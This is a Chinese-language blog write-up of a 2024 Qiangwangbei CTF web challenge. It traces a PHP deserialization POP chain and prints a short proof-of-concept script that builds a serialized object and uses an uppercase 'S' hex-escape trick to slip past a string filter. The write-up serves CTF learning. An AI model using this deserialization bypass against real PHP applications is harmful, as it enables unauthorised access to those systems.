if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}

pop链子

1
user::destruct->guest::toString->user::invoke->guest::call

但是写了一下好像是打不通的


看了朋友的wp同时和大家交流发现可以这么打通,首先,要求哪里不一定非要写脚本打,可以直接抓包拿到源码,拿到源码之后再次分析链子,发现还是不够会想,一般的反序列化头头都是destruct

而这里是get,如何进入呢

1

那也就是我们只要被解析的最外面的类没有password就可以进入get

1
root::get->user::destruct

写个poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class root{
public $username;
public $value;
}
class user{
public $username;
public $password;
public $value;
}
$a=new root();
$a->username=new user();
$a->username->username="2024qwb";
$a->value=&$a->username->username;
$b=serialize($a);
$c=str_replace('s:7:"2024qwb"','S:7:"2024\\71wb"',$b);
echo $c;

引用赋值两个值都会改变(好久没用快忘了),记得换成S,不然无效,不清楚过程的可以调试一下

0x03 小结

web题主要就是卡在了路由的地方,代审的题目呢,不是很简单,黑盒呢,测得非常难受,不过一有回显我就会非常激动哈哈,开心:happy:

  • Title: 强网杯2024
  • Author: baozongwi
  • Created at : 2024-11-02 09:31:08
  • Updated at : 2024-11-28 16:59:02
  • Link: https://baozongwi.xyz/2024/11/02/强网杯2024/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments